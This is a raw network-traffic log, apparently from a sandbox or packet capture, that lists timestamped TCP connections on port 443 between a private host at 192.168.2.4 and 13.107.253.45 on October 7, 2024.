Oct 7, 2024 18:01:31.313618898 CEST	443	60372	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.314162016 CEST	60372	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.314207077 CEST	443	60372	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.314560890 CEST	60372	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.314577103 CEST	443	60372	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.316754103 CEST	443	60371	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.317022085 CEST	60371	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.317047119 CEST	443	60371	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.318101883 CEST	60371	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.318124056 CEST	443	60371	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.340807915 CEST	443	60370	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.341509104 CEST	60370	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.341537952 CEST	443	60370	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.341944933 CEST	60370	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.341950893 CEST	443	60370	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.411984921 CEST	443	60369	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.412070036 CEST	443	60369	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.412122965 CEST	60369	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.412280083 CEST	60369	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.412297964 CEST	443	60369	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.412308931 CEST	60369	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.412314892 CEST	443	60369	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.414964914 CEST	60373	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.415010929 CEST	443	60373	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.415085077 CEST	60373	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.415106058 CEST	443	60368	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.415220976 CEST	60373	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.415239096 CEST	443	60373	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.415286064 CEST	443	60368	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.415375948 CEST	60368	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.415415049 CEST	60368	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.415415049 CEST	60368	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.415431023 CEST	443	60368	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.415440083 CEST	443	60368	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.417259932 CEST	60374	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.417268991 CEST	443	60374	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.417337894 CEST	60374	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.417445898 CEST	60374	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.417459011 CEST	443	60374	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.423341990 CEST	443	60372	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.423379898 CEST	443	60372	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.423429012 CEST	60372	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.423443079 CEST	443	60372	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.423485041 CEST	60372	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.423554897 CEST	60372	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.423571110 CEST	443	60372	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.423583984 CEST	60372	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.423588991 CEST	443	60372	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.425342083 CEST	60375	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.425363064 CEST	443	60375	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.425432920 CEST	60375	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.425565004 CEST	60375	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.425575972 CEST	443	60375	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.430947065 CEST	443	60371	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.431111097 CEST	443	60371	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.431221962 CEST	60371	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.431221962 CEST	60371	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.431222916 CEST	60371	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.432971001 CEST	60376	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.433012962 CEST	443	60376	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.433084965 CEST	60376	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.433191061 CEST	60376	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.433202982 CEST	443	60376	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.450336933 CEST	443	60370	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.450412989 CEST	443	60370	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.450459003 CEST	60370	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.450469017 CEST	443	60370	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.450546980 CEST	60370	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.450551987 CEST	443	60370	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.450558901 CEST	60370	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.450706005 CEST	443	60370	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.452235937 CEST	60377	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.452275991 CEST	443	60377	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.452348948 CEST	60377	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.452465057 CEST	60377	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.452477932 CEST	443	60377	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:31.742804050 CEST	60371	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:31.742830992 CEST	443	60371	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.120865107 CEST	443	60373	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.121340036 CEST	443	60374	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.121474028 CEST	60373	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.121505022 CEST	443	60373	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.121646881 CEST	60374	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.121656895 CEST	443	60374	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.121963024 CEST	60373	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.121969938 CEST	443	60373	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.122114897 CEST	60374	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.122121096 CEST	443	60374	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.123191118 CEST	443	60376	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.123496056 CEST	60376	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.123519897 CEST	443	60376	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.123862028 CEST	60376	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.123867035 CEST	443	60376	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.128277063 CEST	443	60375	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.128526926 CEST	60375	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.128554106 CEST	443	60375	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.128873110 CEST	60375	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.128879070 CEST	443	60375	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.171921015 CEST	443	60377	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.172429085 CEST	60377	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.172449112 CEST	443	60377	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.172856092 CEST	60377	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.172861099 CEST	443	60377	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.230871916 CEST	443	60376	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.231007099 CEST	443	60376	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.231075048 CEST	60376	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.231105089 CEST	443	60376	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.231128931 CEST	443	60376	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.231184959 CEST	60376	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.231549978 CEST	60376	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.231549978 CEST	60376	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.231566906 CEST	443	60376	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.231580973 CEST	443	60376	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.232204914 CEST	443	60374	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.232270956 CEST	443	60374	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.232320070 CEST	60374	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.233282089 CEST	443	60373	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.233971119 CEST	443	60373	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.234029055 CEST	60373	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.235270977 CEST	60373	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.235305071 CEST	443	60373	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.235317945 CEST	60373	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.235326052 CEST	443	60373	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.240766048 CEST	443	60375	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.240840912 CEST	443	60375	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.240890026 CEST	60375	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.244494915 CEST	60375	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.244508982 CEST	443	60375	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.244523048 CEST	60375	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.244528055 CEST	443	60375	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.254647017 CEST	60374	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.254647017 CEST	60374	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.254697084 CEST	443	60374	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.254712105 CEST	443	60374	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.259437084 CEST	60378	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.259460926 CEST	443	60378	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.259532928 CEST	60378	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.260736942 CEST	60379	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.260799885 CEST	443	60379	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.260876894 CEST	60379	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.260910988 CEST	60378	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.260922909 CEST	443	60378	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.262181997 CEST	60380	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.262237072 CEST	443	60380	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.262290001 CEST	60380	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.262424946 CEST	60380	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.262444019 CEST	443	60380	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.262679100 CEST	60379	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.262695074 CEST	443	60379	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.263258934 CEST	60381	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.263309002 CEST	443	60381	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.263370991 CEST	60381	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.263478041 CEST	60381	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.263494968 CEST	443	60381	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.280138016 CEST	443	60377	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.280733109 CEST	443	60377	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.280793905 CEST	60377	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.281016111 CEST	60377	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.281028032 CEST	443	60377	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.281039953 CEST	60377	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.281044960 CEST	443	60377	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.284732103 CEST	60382	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.284791946 CEST	443	60382	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.284862995 CEST	60382	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.285052061 CEST	60382	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.285087109 CEST	443	60382	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.851087093 CEST	443	60380	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.851488113 CEST	60380	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.851505995 CEST	443	60380	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.851937056 CEST	60380	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.851941109 CEST	443	60380	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.886292934 CEST	443	60379	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.886661053 CEST	60379	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.886683941 CEST	443	60379	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.887054920 CEST	60379	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.887061119 CEST	443	60379	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.910088062 CEST	443	60381	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.910520077 CEST	60381	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.910552979 CEST	443	60381	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.910923958 CEST	60381	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.910931110 CEST	443	60381	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.916646957 CEST	443	60378	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.917398930 CEST	60378	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.917421103 CEST	443	60378	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.919378996 CEST	443	60382	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.924556017 CEST	60378	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.924560070 CEST	443	60378	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.924890995 CEST	60382	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.924900055 CEST	443	60382	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.925282001 CEST	60382	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.925287008 CEST	443	60382	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.962841988 CEST	443	60380	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.963670969 CEST	443	60380	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.963753939 CEST	60380	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.963804960 CEST	60380	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.963824987 CEST	443	60380	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.963834047 CEST	60380	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.963839054 CEST	443	60380	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.966562986 CEST	60383	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.966587067 CEST	443	60383	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:32.966672897 CEST	60383	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.966842890 CEST	60383	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:32.966856956 CEST	443	60383	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.012217999 CEST	443	60379	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.013333082 CEST	443	60379	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.013361931 CEST	443	60379	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.013396025 CEST	60379	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.013458014 CEST	60379	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.013530016 CEST	60379	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.013556957 CEST	443	60379	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.013566971 CEST	60379	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.013572931 CEST	443	60379	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.016637087 CEST	60384	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.016663074 CEST	443	60384	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.016787052 CEST	60384	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.016918898 CEST	60384	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.016940117 CEST	443	60384	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.018030882 CEST	443	60381	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.018093109 CEST	443	60381	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.018151999 CEST	60381	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.018280029 CEST	60381	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.018304110 CEST	443	60381	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.018337011 CEST	60381	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.018343925 CEST	443	60381	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.020999908 CEST	60385	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.021027088 CEST	443	60385	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.021111012 CEST	60385	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.021337032 CEST	60385	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.021352053 CEST	443	60385	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.025521040 CEST	443	60382	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.025891066 CEST	443	60382	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.025960922 CEST	60382	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.026025057 CEST	60382	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.026035070 CEST	443	60382	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.026050091 CEST	60382	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.026056051 CEST	443	60382	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.028459072 CEST	443	60378	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.028531075 CEST	443	60378	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.028603077 CEST	60378	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.028704882 CEST	60378	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.028714895 CEST	443	60378	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.028727055 CEST	60378	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.028732061 CEST	443	60378	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.028753042 CEST	60386	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.028769016 CEST	443	60386	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.028845072 CEST	60386	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.029046059 CEST	60386	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.029061079 CEST	443	60386	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.030940056 CEST	60387	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.030986071 CEST	443	60387	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.031075954 CEST	60387	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.031245947 CEST	60387	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.031265020 CEST	443	60387	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.613092899 CEST	443	60383	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.649039030 CEST	443	60386	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.652158976 CEST	443	60384	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.664617062 CEST	60383	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.676371098 CEST	443	60387	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.682293892 CEST	443	60385	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.695913076 CEST	60386	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.695914984 CEST	60384	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.727231026 CEST	60387	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.727246046 CEST	60385	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.747549057 CEST	60385	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.747560978 CEST	443	60385	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.747988939 CEST	60385	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.747992992 CEST	443	60385	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.751298904 CEST	60387	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.751316071 CEST	443	60387	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.751703024 CEST	60387	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.751709938 CEST	443	60387	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.755263090 CEST	60383	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.755270004 CEST	443	60383	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.758924007 CEST	60383	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.758932114 CEST	443	60383	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.759155035 CEST	60386	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.759159088 CEST	443	60386	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.759509087 CEST	60386	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.759512901 CEST	443	60386	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.762953043 CEST	60384	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.762969971 CEST	443	60384	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.766601086 CEST	60384	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.766608953 CEST	443	60384	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.970153093 CEST	443	60386	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.970196962 CEST	443	60386	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.970248938 CEST	443	60386	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.970339060 CEST	60386	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.970474958 CEST	443	60384	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.970571041 CEST	443	60384	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.970617056 CEST	60384	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.970690012 CEST	443	60387	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.970879078 CEST	443	60387	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.970927000 CEST	60387	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.972609997 CEST	443	60383	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.972688913 CEST	443	60383	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.972733021 CEST	60383	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.974909067 CEST	443	60385	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.975086927 CEST	443	60385	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.975141048 CEST	60385	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.990304947 CEST	60386	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.990333080 CEST	443	60386	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:33.990370035 CEST	60386	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:33.990376949 CEST	443	60386	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.001981020 CEST	60383	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.001981020 CEST	60383	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.002016068 CEST	443	60383	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.002029896 CEST	443	60383	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.002240896 CEST	60385	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.002242088 CEST	60385	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.002269983 CEST	443	60385	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.002284050 CEST	443	60385	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.046416998 CEST	60384	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.046447039 CEST	443	60384	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.048988104 CEST	60387	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.048995972 CEST	443	60387	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.049009085 CEST	60387	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.049015999 CEST	443	60387	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.053097010 CEST	60388	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.053127050 CEST	60389	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.053175926 CEST	443	60389	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.053188086 CEST	443	60388	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.053309917 CEST	60389	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.053467035 CEST	60388	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.053642035 CEST	60390	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.053658009 CEST	443	60390	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.053718090 CEST	60390	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.054299116 CEST	60391	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.054333925 CEST	443	60391	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.054393053 CEST	60391	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.054485083 CEST	60389	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.054527998 CEST	443	60389	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.054532051 CEST	60391	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.054570913 CEST	443	60391	13.107.253.45	192.168.2.4
